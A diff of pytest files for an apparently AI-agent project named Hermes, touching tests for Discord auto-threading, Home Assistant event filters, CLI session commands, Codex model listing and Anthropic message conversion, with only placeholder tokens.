@pytest.mark.asyncio
|
||||
async def test_auto_thread_disabled_by_default(adapter, monkeypatch):
|
||||
"""Without DISCORD_AUTO_THREAD, messages stay in the channel."""
|
||||
monkeypatch.delenv("DISCORD_AUTO_THREAD", raising=False)
|
||||
monkeypatch.setenv("DISCORD_REQUIRE_MENTION", "false")
|
||||
|
||||
adapter._auto_create_thread = AsyncMock()
|
||||
|
||||
captured_events = []
|
||||
|
||||
async def capture_handle(event):
|
||||
captured_events.append(event)
|
||||
|
||||
adapter.handle_message = capture_handle
|
||||
|
||||
msg = _fake_message(_FakeTextChannel())
|
||||
|
||||
await adapter._handle_message(msg)
|
||||
|
||||
adapter._auto_create_thread.assert_not_awaited()
|
||||
assert len(captured_events) == 1
|
||||
assert captured_events[0].source.chat_id == "100" # stays in channel
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_auto_thread_skips_threads_and_dms(adapter, monkeypatch):
|
||||
"""Auto-thread should not create threads inside existing threads."""
|
||||
monkeypatch.setenv("DISCORD_AUTO_THREAD", "true")
|
||||
monkeypatch.setenv("DISCORD_REQUIRE_MENTION", "false")
|
||||
|
||||
adapter._auto_create_thread = AsyncMock()
|
||||
|
||||
captured_events = []
|
||||
|
||||
async def capture_handle(event):
|
||||
captured_events.append(event)
|
||||
|
||||
adapter.handle_message = capture_handle
|
||||
|
||||
msg = _fake_message(_FakeThreadChannel())
|
||||
|
||||
await adapter._handle_message(msg)
|
||||
|
||||
adapter._auto_create_thread.assert_not_awaited() # should NOT auto-thread
|
||||
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Config bridge
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
|
||||
def test_discord_auto_thread_config_bridge(monkeypatch, tmp_path):
|
||||
"""discord.auto_thread in config.yaml should be bridged to DISCORD_AUTO_THREAD env var."""
|
||||
import yaml
|
||||
from pathlib import Path
|
||||
|
||||
# Write a config.yaml the loader will find
|
||||
hermes_dir = tmp_path / ".hermes"
|
||||
hermes_dir.mkdir()
|
||||
config_path = hermes_dir / "config.yaml"
|
||||
config_path.write_text(yaml.dump({
|
||||
"discord": {"auto_thread": True},
|
||||
}))
|
||||
|
||||
monkeypatch.delenv("DISCORD_AUTO_THREAD", raising=False)
|
||||
monkeypatch.setenv("HERMES_HOME", str(hermes_dir))
|
||||
monkeypatch.setattr(Path, "home", lambda: tmp_path)
|
||||
|
||||
from gateway.config import load_gateway_config
|
||||
load_gateway_config()
|
||||
|
||||
import os
|
||||
assert os.getenv("DISCORD_AUTO_THREAD") == "true"
|
||||
@@ -208,7 +208,7 @@ class TestAdapterInit:
|
||||
|
||||
def test_watch_filters_parsed(self):
|
||||
config = PlatformConfig(
|
||||
enabled=True, token="***",
|
||||
enabled=True, token="t",
|
||||
extra={
|
||||
"watch_domains": ["climate", "binary_sensor"],
|
||||
"watch_entities": ["sensor.special"],
|
||||
@@ -220,25 +220,15 @@ class TestAdapterInit:
|
||||
assert adapter._watch_domains == {"climate", "binary_sensor"}
|
||||
assert adapter._watch_entities == {"sensor.special"}
|
||||
assert adapter._ignore_entities == {"sensor.uptime", "sensor.cpu"}
|
||||
assert adapter._watch_all is False
|
||||
assert adapter._cooldown_seconds == 120
|
||||
|
||||
def test_watch_all_parsed(self):
|
||||
config = PlatformConfig(
|
||||
enabled=True, token="***",
|
||||
extra={"watch_all": True},
|
||||
)
|
||||
adapter = HomeAssistantAdapter(config)
|
||||
assert adapter._watch_all is True
|
||||
|
||||
def test_defaults_when_no_extra(self, monkeypatch):
|
||||
monkeypatch.setenv("HASS_TOKEN", "tok")
|
||||
config = PlatformConfig(enabled=True, token="***")
|
||||
config = PlatformConfig(enabled=True, token="tok")
|
||||
adapter = HomeAssistantAdapter(config)
|
||||
assert adapter._watch_domains == set()
|
||||
assert adapter._watch_entities == set()
|
||||
assert adapter._ignore_entities == set()
|
||||
assert adapter._watch_all is False
|
||||
assert adapter._cooldown_seconds == 30
|
||||
|
||||
|
||||
@@ -270,7 +260,7 @@ def _make_event(entity_id, old_state, new_state, old_attrs=None, new_attrs=None)
|
||||
class TestEventFilteringPipeline:
|
||||
@pytest.mark.asyncio
|
||||
async def test_ignored_entity_not_forwarded(self):
|
||||
adapter = _make_adapter(watch_all=True, ignore_entities=["sensor.uptime"])
|
||||
adapter = _make_adapter(ignore_entities=["sensor.uptime"])
|
||||
await adapter._handle_ha_event(_make_event("sensor.uptime", "100", "101"))
|
||||
adapter.handle_message.assert_not_called()
|
||||
|
||||
@@ -308,34 +298,26 @@ class TestEventFilteringPipeline:
|
||||
assert "10W" in msg_event.text and "20W" in msg_event.text
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_no_filters_blocks_everything(self):
|
||||
"""Without watch_domains, watch_entities, or watch_all, events are dropped."""
|
||||
async def test_no_filters_passes_everything(self):
|
||||
adapter = _make_adapter(cooldown_seconds=0)
|
||||
await adapter._handle_ha_event(_make_event("cover.blinds", "closed", "open"))
|
||||
adapter.handle_message.assert_not_called()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_watch_all_passes_everything(self):
|
||||
"""With watch_all=True and no specific filters, all events pass through."""
|
||||
adapter = _make_adapter(watch_all=True, cooldown_seconds=0)
|
||||
await adapter._handle_ha_event(_make_event("cover.blinds", "closed", "open"))
|
||||
adapter.handle_message.assert_called_once()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_same_state_not_forwarded(self):
|
||||
adapter = _make_adapter(watch_all=True, cooldown_seconds=0)
|
||||
adapter = _make_adapter(cooldown_seconds=0)
|
||||
await adapter._handle_ha_event(_make_event("light.x", "on", "on"))
|
||||
adapter.handle_message.assert_not_called()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_empty_entity_id_skipped(self):
|
||||
adapter = _make_adapter(watch_all=True)
|
||||
adapter = _make_adapter()
|
||||
await adapter._handle_ha_event({"data": {"entity_id": ""}})
|
||||
adapter.handle_message.assert_not_called()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_event_has_correct_source(self):
|
||||
adapter = _make_adapter(watch_all=True, cooldown_seconds=0)
|
||||
adapter = _make_adapter(cooldown_seconds=0)
|
||||
await adapter._handle_ha_event(
|
||||
_make_event("light.test", "off", "on",
|
||||
new_attrs={"friendly_name": "Test Light"})
|
||||
@@ -354,7 +336,7 @@ class TestEventFilteringPipeline:
|
||||
class TestCooldown:
|
||||
@pytest.mark.asyncio
|
||||
async def test_cooldown_blocks_rapid_events(self):
|
||||
adapter = _make_adapter(watch_all=True, cooldown_seconds=60)
|
||||
adapter = _make_adapter(cooldown_seconds=60)
|
||||
|
||||
event = _make_event("sensor.temp", "20", "21",
|
||||
new_attrs={"friendly_name": "Temp"})
|
||||
@@ -369,7 +351,7 @@ class TestCooldown:
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_cooldown_expires(self):
|
||||
adapter = _make_adapter(watch_all=True, cooldown_seconds=1)
|
||||
adapter = _make_adapter(cooldown_seconds=1)
|
||||
|
||||
event = _make_event("sensor.temp", "20", "21",
|
||||
new_attrs={"friendly_name": "Temp"})
|
||||
@@ -386,7 +368,7 @@ class TestCooldown:
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_different_entities_independent_cooldowns(self):
|
||||
adapter = _make_adapter(watch_all=True, cooldown_seconds=60)
|
||||
adapter = _make_adapter(cooldown_seconds=60)
|
||||
|
||||
await adapter._handle_ha_event(
|
||||
_make_event("sensor.a", "1", "2", new_attrs={"friendly_name": "A"})
|
||||
@@ -405,7 +387,7 @@ class TestCooldown:
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_zero_cooldown_passes_all(self):
|
||||
adapter = _make_adapter(watch_all=True, cooldown_seconds=0)
|
||||
adapter = _make_adapter(cooldown_seconds=0)
|
||||
|
||||
for i in range(5):
|
||||
await adapter._handle_ha_event(
|
||||
|
||||
@@ -182,7 +182,7 @@ class TestBuildSessionContextPrompt:
|
||||
platforms={
|
||||
Platform.DISCORD: PlatformConfig(
|
||||
enabled=True,
|
||||
token="fake-d...oken",
|
||||
token="fake-discord-token",
|
||||
),
|
||||
},
|
||||
)
|
||||
@@ -197,27 +197,6 @@ class TestBuildSessionContextPrompt:
|
||||
prompt = build_session_context_prompt(ctx)
|
||||
|
||||
assert "Discord" in prompt
|
||||
assert "cannot search" in prompt.lower() or "do not have access" in prompt.lower()
|
||||
|
||||
def test_slack_prompt_includes_platform_notes(self):
|
||||
config = GatewayConfig(
|
||||
platforms={
|
||||
Platform.SLACK: PlatformConfig(enabled=True, token="fake"),
|
||||
},
|
||||
)
|
||||
source = SessionSource(
|
||||
platform=Platform.SLACK,
|
||||
chat_id="C123",
|
||||
chat_name="general",
|
||||
chat_type="group",
|
||||
user_name="bob",
|
||||
)
|
||||
ctx = build_session_context(source, config)
|
||||
prompt = build_session_context_prompt(ctx)
|
||||
|
||||
assert "Slack" in prompt
|
||||
assert "cannot search" in prompt.lower()
|
||||
assert "pin" in prompt.lower()
|
||||
|
||||
def test_discord_prompt_with_channel_topic(self):
|
||||
"""Channel topic should appear in the session context prompt."""
|
||||
|
||||
@@ -1,21 +1,14 @@
|
||||
"""Tests for hermes_cli.doctor."""
|
||||
"""Tests for hermes doctor helpers."""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import types
|
||||
from argparse import Namespace
|
||||
from types import SimpleNamespace
|
||||
|
||||
import pytest
|
||||
|
||||
import hermes_cli.doctor as doctor
|
||||
from hermes_cli import doctor as doctor_mod
|
||||
from hermes_cli.doctor import _has_provider_env_config
|
||||
|
||||
|
||||
class TestProviderEnvDetection:
|
||||
def test_detects_openai_api_key(self):
|
||||
content = "OPENAI_BASE_URL=http://localhost:1234/v1\nOPENAI_API_KEY=***"
|
||||
content = "OPENAI_BASE_URL=http://localhost:1234/v1\nOPENAI_API_KEY=sk-test-key\n"
|
||||
assert _has_provider_env_config(content)
|
||||
|
||||
def test_detects_custom_endpoint_without_openrouter_key(self):
|
||||
@@ -54,7 +47,7 @@ class TestDoctorToolAvailabilityOverrides:
|
||||
|
||||
class TestHonchoDoctorConfigDetection:
|
||||
def test_reports_configured_when_enabled_with_api_key(self, monkeypatch):
|
||||
fake_config = SimpleNamespace(enabled=True, api_key="***")
|
||||
fake_config = SimpleNamespace(enabled=True, api_key="honcho-test-key")
|
||||
|
||||
monkeypatch.setattr(
|
||||
"honcho_integration.client.HonchoClientConfig.from_global_config",
|
||||
@@ -64,7 +57,7 @@ class TestHonchoDoctorConfigDetection:
|
||||
assert doctor._honcho_is_configured_for_doctor()
|
||||
|
||||
def test_reports_not_configured_without_api_key(self, monkeypatch):
|
||||
fake_config = SimpleNamespace(enabled=True, api_key="")
|
||||
fake_config = SimpleNamespace(enabled=True, api_key=None)
|
||||
|
||||
monkeypatch.setattr(
|
||||
"honcho_integration.client.HonchoClientConfig.from_global_config",
|
||||
@@ -72,32 +65,3 @@ class TestHonchoDoctorConfigDetection:
|
||||
)
|
||||
|
||||
assert not doctor._honcho_is_configured_for_doctor()
|
||||
|
||||
|
||||
def test_run_doctor_sets_interactive_env_for_tool_checks(monkeypatch, tmp_path):
|
||||
"""Doctor should present CLI-gated tools as available in CLI context."""
|
||||
project_root = tmp_path / "project"
|
||||
hermes_home = tmp_path / ".hermes"
|
||||
project_root.mkdir()
|
||||
hermes_home.mkdir()
|
||||
|
||||
monkeypatch.setattr(doctor_mod, "PROJECT_ROOT", project_root)
|
||||
monkeypatch.setattr(doctor_mod, "HERMES_HOME", hermes_home)
|
||||
monkeypatch.delenv("HERMES_INTERACTIVE", raising=False)
|
||||
|
||||
seen = {}
|
||||
|
||||
def fake_check_tool_availability(*args, **kwargs):
|
||||
seen["interactive"] = os.getenv("HERMES_INTERACTIVE")
|
||||
raise SystemExit(0)
|
||||
|
||||
fake_model_tools = types.SimpleNamespace(
|
||||
check_tool_availability=fake_check_tool_availability,
|
||||
TOOLSET_REQUIREMENTS={},
|
||||
)
|
||||
monkeypatch.setitem(sys.modules, "model_tools", fake_model_tools)
|
||||
|
||||
with pytest.raises(SystemExit):
|
||||
doctor_mod.run_doctor(Namespace(fix=False))
|
||||
|
||||
assert seen["interactive"] == "1"
|
||||
|
||||
@@ -95,50 +95,3 @@ def test_custom_setup_clears_active_oauth_provider(tmp_path, monkeypatch):
|
||||
assert reloaded["model"]["provider"] == "custom"
|
||||
assert reloaded["model"]["base_url"] == "https://custom.example/v1"
|
||||
assert reloaded["model"]["default"] == "custom/model"
|
||||
|
||||
|
||||
def test_codex_setup_uses_runtime_access_token_for_live_model_list(tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
|
||||
monkeypatch.setenv("OPENROUTER_API_KEY", "or-test-key")
|
||||
_clear_provider_env(monkeypatch)
|
||||
monkeypatch.setenv("OPENROUTER_API_KEY", "or-test-key")
|
||||
|
||||
config = load_config()
|
||||
|
||||
prompt_choices = iter([1, 0])
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.setup.prompt_choice",
|
||||
lambda *args, **kwargs: next(prompt_choices),
|
||||
)
|
||||
monkeypatch.setattr("hermes_cli.setup.prompt", lambda *args, **kwargs: "")
|
||||
monkeypatch.setattr("hermes_cli.auth.detect_external_credentials", lambda: [])
|
||||
monkeypatch.setattr("hermes_cli.auth._login_openai_codex", lambda *args, **kwargs: None)
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.auth.resolve_codex_runtime_credentials",
|
||||
lambda *args, **kwargs: {
|
||||
"base_url": "https://chatgpt.com/backend-api/codex",
|
||||
"api_key": "codex-access-token",
|
||||
},
|
||||
)
|
||||
|
||||
captured = {}
|
||||
|
||||
def _fake_get_codex_model_ids(access_token=None):
|
||||
captured["access_token"] = access_token
|
||||
return ["gpt-5.2-codex", "gpt-5.2"]
|
||||
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.codex_models.get_codex_model_ids",
|
||||
_fake_get_codex_model_ids,
|
||||
)
|
||||
|
||||
setup_model_provider(config)
|
||||
save_config(config)
|
||||
|
||||
reloaded = load_config()
|
||||
|
||||
assert captured["access_token"] == "codex-access-token"
|
||||
assert isinstance(reloaded["model"], dict)
|
||||
assert reloaded["model"]["provider"] == "openai-codex"
|
||||
assert reloaded["model"]["default"] == "gpt-5.2-codex"
|
||||
assert reloaded["model"]["base_url"] == "https://chatgpt.com/backend-api/codex"
|
||||
|
||||
@@ -7,7 +7,6 @@ from unittest.mock import patch, MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from agent.prompt_caching import apply_anthropic_cache_control
|
||||
from agent.anthropic_adapter import (
|
||||
_is_oauth_token,
|
||||
_refresh_oauth_token,
|
||||
@@ -492,55 +491,6 @@ class TestConvertMessages:
|
||||
assert isinstance(system, list)
|
||||
assert system[0]["cache_control"] == {"type": "ephemeral"}
|
||||
|
||||
def test_assistant_cache_control_blocks_are_preserved(self):
|
||||
messages = apply_anthropic_cache_control([
|
||||
{"role": "system", "content": "System prompt"},
|
||||
{"role": "assistant", "content": "Hello from assistant"},
|
||||
])
|
||||
|
||||
_, result = convert_messages_to_anthropic(messages)
|
||||
assistant_blocks = result[0]["content"]
|
||||
|
||||
assert assistant_blocks[0]["type"] == "text"
|
||||
assert assistant_blocks[0]["text"] == "Hello from assistant"
|
||||
assert assistant_blocks[0]["cache_control"] == {"type": "ephemeral"}
|
||||
|
||||
def test_tool_cache_control_is_preserved_on_tool_result_block(self):
|
||||
messages = apply_anthropic_cache_control([
|
||||
{"role": "system", "content": "System prompt"},
|
||||
{"role": "tool", "tool_call_id": "tc_1", "content": "result"},
|
||||
])
|
||||
|
||||
_, result = convert_messages_to_anthropic(messages)
|
||||
tool_block = result[0]["content"][0]
|
||||
|
||||
assert tool_block["type"] == "tool_result"
|
||||
assert tool_block["tool_use_id"] == "tc_1"
|
||||
assert tool_block["content"] == "result"
|
||||
assert tool_block["cache_control"] == {"type": "ephemeral"}
|
||||
|
||||
def test_empty_cached_assistant_tool_turn_converts_without_empty_text_block(self):
|
||||
messages = apply_anthropic_cache_control([
|
||||
{"role": "system", "content": "System prompt"},
|
||||
{"role": "user", "content": "Find the skill"},
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": "",
|
||||
"tool_calls": [
|
||||
{"id": "tc_1", "function": {"name": "skill_view", "arguments": "{}"}},
|
||||
],
|
||||
},
|
||||
{"role": "tool", "tool_call_id": "tc_1", "content": "result"},
|
||||
])
|
||||
|
||||
_, result = convert_messages_to_anthropic(messages)
|
||||
|
||||
assistant_turn = next(msg for msg in result if msg["role"] == "assistant")
|
||||
assistant_blocks = assistant_turn["content"]
|
||||
|
||||
assert all(not (b.get("type") == "text" and b.get("text") == "") for b in assistant_blocks)
|
||||
assert any(b.get("type") == "tool_use" for b in assistant_blocks)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Build kwargs
|
||||
|
||||
@@ -1,139 +0,0 @@
|
||||
"""Regression tests for CLI fresh-session commands."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib
|
||||
import os
|
||||
import sys
|
||||
from datetime import timedelta
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
from hermes_state import SessionDB
|
||||
from tools.todo_tool import TodoStore
|
||||
|
||||
|
||||
class _FakeAgent:
|
||||
def __init__(self, session_id: str, session_start):
|
||||
self.session_id = session_id
|
||||
self.session_start = session_start
|
||||
self.model = "anthropic/claude-opus-4.6"
|
||||
self._last_flushed_db_idx = 7
|
||||
self._todo_store = TodoStore()
|
||||
self._todo_store.write(
|
||||
[{"id": "t1", "content": "unfinished task", "status": "in_progress"}]
|
||||
)
|
||||
self.flush_memories = MagicMock()
|
||||
self._invalidate_system_prompt = MagicMock()
|
||||
|
||||
|
||||
def _make_cli(env_overrides=None, config_overrides=None, **kwargs):
|
||||
"""Create a HermesCLI instance with minimal mocking."""
|
||||
_clean_config = {
|
||||
"model": {
|
||||
"default": "anthropic/claude-opus-4.6",
|
||||
"base_url": "https://openrouter.ai/api/v1",
|
||||
"provider": "auto",
|
||||
},
|
||||
"display": {"compact": False, "tool_progress": "all"},
|
||||
"agent": {},
|
||||
"terminal": {"env_type": "local"},
|
||||
}
|
||||
if config_overrides:
|
||||
_clean_config.update(config_overrides)
|
||||
clean_env = {"LLM_MODEL": "", "HERMES_MAX_ITERATIONS": ""}
|
||||
if env_overrides:
|
||||
clean_env.update(env_overrides)
|
||||
prompt_toolkit_stubs = {
|
||||
"prompt_toolkit": MagicMock(),
|
||||
"prompt_toolkit.history": MagicMock(),
|
||||
"prompt_toolkit.styles": MagicMock(),
|
||||
"prompt_toolkit.patch_stdout": MagicMock(),
|
||||
"prompt_toolkit.application": MagicMock(),
|
||||
"prompt_toolkit.layout": MagicMock(),
|
||||
"prompt_toolkit.layout.processors": MagicMock(),
|
||||
"prompt_toolkit.filters": MagicMock(),
|
||||
"prompt_toolkit.layout.dimension": MagicMock(),
|
||||
"prompt_toolkit.layout.menus": MagicMock(),
|
||||
"prompt_toolkit.widgets": MagicMock(),
|
||||
"prompt_toolkit.key_binding": MagicMock(),
|
||||
"prompt_toolkit.completion": MagicMock(),
|
||||
"prompt_toolkit.formatted_text": MagicMock(),
|
||||
}
|
||||
with patch.dict(sys.modules, prompt_toolkit_stubs), patch.dict(
|
||||
"os.environ", clean_env, clear=False
|
||||
):
|
||||
import cli as _cli_mod
|
||||
|
||||
_cli_mod = importlib.reload(_cli_mod)
|
||||
with patch.object(_cli_mod, "get_tool_definitions", return_value=[]), patch.dict(
|
||||
_cli_mod.__dict__, {"CLI_CONFIG": _clean_config}
|
||||
):
|
||||
return _cli_mod.HermesCLI(**kwargs)
|
||||
|
||||
|
||||
def _prepare_cli_with_active_session(tmp_path):
|
||||
cli = _make_cli()
|
||||
cli._session_db = SessionDB(db_path=tmp_path / "state.db")
|
||||
cli._session_db.create_session(session_id=cli.session_id, source="cli", model=cli.model)
|
||||
|
||||
cli.agent = _FakeAgent(cli.session_id, cli.session_start)
|
||||
cli.conversation_history = [{"role": "user", "content": "hello"}]
|
||||
|
||||
old_session_start = cli.session_start - timedelta(seconds=1)
|
||||
cli.session_start = old_session_start
|
||||
cli.agent.session_start = old_session_start
|
||||
return cli
|
||||
|
||||
|
||||
def test_new_command_creates_real_fresh_session_and_resets_agent_state(tmp_path):
|
||||
cli = _prepare_cli_with_active_session(tmp_path)
|
||||
old_session_id = cli.session_id
|
||||
old_session_start = cli.session_start
|
||||
|
||||
cli.process_command("/new")
|
||||
|
||||
assert cli.session_id != old_session_id
|
||||
|
||||
old_session = cli._session_db.get_session(old_session_id)
|
||||
assert old_session is not None
|
||||
assert old_session["end_reason"] == "new_session"
|
||||
|
||||
new_session = cli._session_db.get_session(cli.session_id)
|
||||
assert new_session is not None
|
||||
|
||||
cli._session_db.append_message(cli.session_id, role="user", content="next turn")
|
||||
|
||||
assert cli.agent.session_id == cli.session_id
|
||||
assert cli.agent._last_flushed_db_idx == 0
|
||||
assert cli.agent._todo_store.read() == []
|
||||
assert cli.session_start > old_session_start
|
||||
assert cli.agent.session_start == cli.session_start
|
||||
cli.agent.flush_memories.assert_called_once_with([{"role": "user", "content": "hello"}])
|
||||
cli.agent._invalidate_system_prompt.assert_called_once()
|
||||
|
||||
|
||||
def test_reset_command_is_alias_for_new_session(tmp_path):
|
||||
cli = _prepare_cli_with_active_session(tmp_path)
|
||||
old_session_id = cli.session_id
|
||||
|
||||
cli.process_command("/reset")
|
||||
|
||||
assert cli.session_id != old_session_id
|
||||
assert cli._session_db.get_session(old_session_id)["end_reason"] == "new_session"
|
||||
assert cli._session_db.get_session(cli.session_id) is not None
|
||||
|
||||
|
||||
def test_clear_command_starts_new_session_before_redrawing(tmp_path):
|
||||
cli = _prepare_cli_with_active_session(tmp_path)
|
||||
cli.console = MagicMock()
|
||||
cli.show_banner = MagicMock()
|
||||
|
||||
old_session_id = cli.session_id
|
||||
cli.process_command("/clear")
|
||||
|
||||
assert cli.session_id != old_session_id
|
||||
assert cli._session_db.get_session(old_session_id)["end_reason"] == "new_session"
|
||||
assert cli._session_db.get_session(cli.session_id) is not None
|
||||
cli.console.clear.assert_called_once()
|
||||
cli.show_banner.assert_called_once()
|
||||
assert cli.conversation_history == []
|
||||
@@ -52,58 +52,6 @@ def test_get_codex_model_ids_falls_back_to_curated_defaults(tmp_path, monkeypatc
|
||||
models = get_codex_model_ids()
|
||||
|
||||
assert models[: len(DEFAULT_CODEX_MODELS)] == DEFAULT_CODEX_MODELS
|
||||
assert "gpt-5.4" in models
|
||||
assert "gpt-5.3-codex-spark" in models
|
||||
|
||||
|
||||
def test_get_codex_model_ids_adds_forward_compat_models_from_templates(monkeypatch):
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.codex_models._fetch_models_from_api",
|
||||
lambda access_token: ["gpt-5.2-codex"],
|
||||
)
|
||||
|
||||
models = get_codex_model_ids(access_token="codex-access-token")
|
||||
|
||||
assert models == ["gpt-5.2-codex", "gpt-5.3-codex", "gpt-5.4", "gpt-5.3-codex-spark"]
|
||||
|
||||
|
||||
def test_model_command_uses_runtime_access_token_for_codex_list(monkeypatch):
|
||||
from hermes_cli.main import _model_flow_openai_codex
|
||||
|
||||
captured = {}
|
||||
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.auth.get_codex_auth_status",
|
||||
lambda: {"logged_in": True},
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.auth.resolve_codex_runtime_credentials",
|
||||
lambda *args, **kwargs: {"api_key": "codex-access-token"},
|
||||
)
|
||||
|
||||
def _fake_get_codex_model_ids(access_token=None):
|
||||
captured["access_token"] = access_token
|
||||
return ["gpt-5.2-codex", "gpt-5.2"]
|
||||
|
||||
def _fake_prompt_model_selection(model_ids, current_model=""):
|
||||
captured["model_ids"] = list(model_ids)
|
||||
captured["current_model"] = current_model
|
||||
return None
|
||||
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.codex_models.get_codex_model_ids",
|
||||
_fake_get_codex_model_ids,
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"hermes_cli.auth._prompt_model_selection",
|
||||
_fake_prompt_model_selection,
|
||||
)
|
||||
|
||||
_model_flow_openai_codex({}, current_model="openai/gpt-5.4")
|
||||
|
||||
assert captured["access_token"] == "codex-access-token"
|
||||
assert captured["model_ids"] == ["gpt-5.2-codex", "gpt-5.2"]
|
||||
assert captured["current_model"] == "openai/gpt-5.4"
|
||||
|
||||
|
||||
# ── Tests for _normalize_model_for_provider ──────────────────────────
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
"""
|
||||
Tests for ManagedServer / tool-parser integration.
|
||||
Tests for ManagedServer tool_call_parser integration.
|
||||
|
||||
Validates that:
|
||||
1. The installed atroposlib API still matches Hermes's expectations
|
||||
2. Hermes's parser registry remains compatible with ManagedServer parsing
|
||||
3. HermesAgentBaseEnv wires the selected parser into ServerManager correctly
|
||||
1. ManagedServer accepts tool_call_parser parameter (tool_call_support branch)
|
||||
2. ServerManager.managed_server() passes tool_call_parser through
|
||||
3. The parser's parse() output is correctly attached to ChatCompletion responses
|
||||
4. hermes-agent's tool_call_parsers are compatible with ManagedServer's expectations
|
||||
|
||||
These tests verify the contract between hermes-agent's environments/ code
|
||||
and atroposlib's ManagedServer. They detect API incompatibilities early.
|
||||
@@ -141,38 +142,37 @@ class TestParserCompatibility:
|
||||
|
||||
|
||||
class TestBaseEnvCompatibility:
|
||||
"""Test that hermes_base_env.py's tool-parser wiring matches the current API."""
|
||||
"""Test that hermes_base_env.py's managed_server() call matches the API."""
|
||||
|
||||
def test_hermes_base_env_sets_server_manager_tool_parser(self):
|
||||
"""Hermes wires parser selection through ServerManager.tool_parser."""
|
||||
def test_hermes_base_env_managed_server_call_pattern(self):
|
||||
"""
|
||||
Verify that hermes_base_env.py passes tool_call_parser to managed_server().
|
||||
This is a source-level check — the actual managed_server() call must match.
|
||||
"""
|
||||
import ast
|
||||
|
||||
base_env_path = Path(__file__).parent.parent / "environments" / "hermes_base_env.py"
|
||||
source = base_env_path.read_text()
|
||||
tree = ast.parse(source)
|
||||
|
||||
found_assignment = False
|
||||
# Find the managed_server() call
|
||||
found_tool_call_parser_kwarg = False
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.Assign):
|
||||
for target in node.targets:
|
||||
if isinstance(target, ast.Attribute) and target.attr == "tool_parser":
|
||||
parent = target.value
|
||||
if (
|
||||
isinstance(parent, ast.Attribute)
|
||||
and parent.attr == "server"
|
||||
and isinstance(parent.value, ast.Name)
|
||||
and parent.value.id == "self"
|
||||
):
|
||||
found_assignment = True
|
||||
if isinstance(node, ast.Call):
|
||||
# Look for self.server.managed_server(...)
|
||||
if isinstance(node.func, ast.Attribute) and node.func.attr == "managed_server":
|
||||
for kw in node.keywords:
|
||||
if kw.arg == "tool_call_parser":
|
||||
found_tool_call_parser_kwarg = True
|
||||
|
||||
assert found_assignment, (
|
||||
"hermes_base_env.py should set self.server.tool_parser from config.tool_call_parser"
|
||||
assert found_tool_call_parser_kwarg, (
|
||||
"hermes_base_env.py should pass tool_call_parser= to managed_server()"
|
||||
)
|
||||
|
||||
def test_hermes_base_env_uses_config_tool_call_parser(self):
|
||||
"""Verify hermes_base_env uses the config field rather than a local parser instance."""
|
||||
def test_hermes_base_env_uses_get_parser(self):
|
||||
"""Verify hermes_base_env imports and uses get_parser from tool_call_parsers."""
|
||||
base_env_path = Path(__file__).parent.parent / "environments" / "hermes_base_env.py"
|
||||
source = base_env_path.read_text()
|
||||
|
||||
assert 'tool_call_parser: str = Field(' in source
|
||||
assert 'self.server.tool_parser = config.tool_call_parser' in source
|
||||
assert "from environments.tool_call_parsers import get_parser" in source
|
||||
assert "get_parser(" in source
|
||||
|
||||
@@ -1,34 +0,0 @@
|
||||
"""Tests for minisweagent_path.py."""
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
from minisweagent_path import discover_minisweagent_src
|
||||
|
||||
|
||||
def test_discover_minisweagent_src_in_current_checkout(tmp_path):
|
||||
repo = tmp_path / "repo"
|
||||
src = repo / "mini-swe-agent" / "src"
|
||||
src.mkdir(parents=True)
|
||||
|
||||
assert discover_minisweagent_src(repo) == src.resolve()
|
||||
|
||||
|
||||
def test_discover_minisweagent_src_falls_back_from_worktree_to_main_checkout(tmp_path):
|
||||
main_repo = tmp_path / "main-repo"
|
||||
(main_repo / ".git" / "worktrees" / "wt1").mkdir(parents=True)
|
||||
main_src = main_repo / "mini-swe-agent" / "src"
|
||||
main_src.mkdir(parents=True)
|
||||
|
||||
worktree = tmp_path / "worktree"
|
||||
worktree.mkdir()
|
||||
(worktree / ".git").write_text(f"gitdir: {main_repo / '.git' / 'worktrees' / 'wt1'}\n", encoding="utf-8")
|
||||
(worktree / "mini-swe-agent").mkdir() # empty placeholder, no src/
|
||||
|
||||
assert discover_minisweagent_src(worktree) == main_src.resolve()
|
||||
|
||||
|
||||
def test_discover_minisweagent_src_returns_none_when_missing(tmp_path):
|
||||
repo = tmp_path / "repo"
|
||||
repo.mkdir()
|
||||
|
||||
assert discover_minisweagent_src(repo) is None
|
||||
@@ -1,7 +1,6 @@
|
||||
"""Tests for user-defined quick commands that bypass the agent loop."""
|
||||
import subprocess
|
||||
from unittest.mock import MagicMock, patch, AsyncMock
|
||||
from rich.text import Text
|
||||
import pytest
|
||||
|
||||
|
||||
@@ -10,12 +9,6 @@ import pytest
|
||||
class TestCLIQuickCommands:
|
||||
"""Test quick command dispatch in HermesCLI.process_command."""
|
||||
|
||||
@staticmethod
|
||||
def _printed_plain(call_arg):
|
||||
if isinstance(call_arg, Text):
|
||||
return call_arg.plain
|
||||
return str(call_arg)
|
||||
|
||||
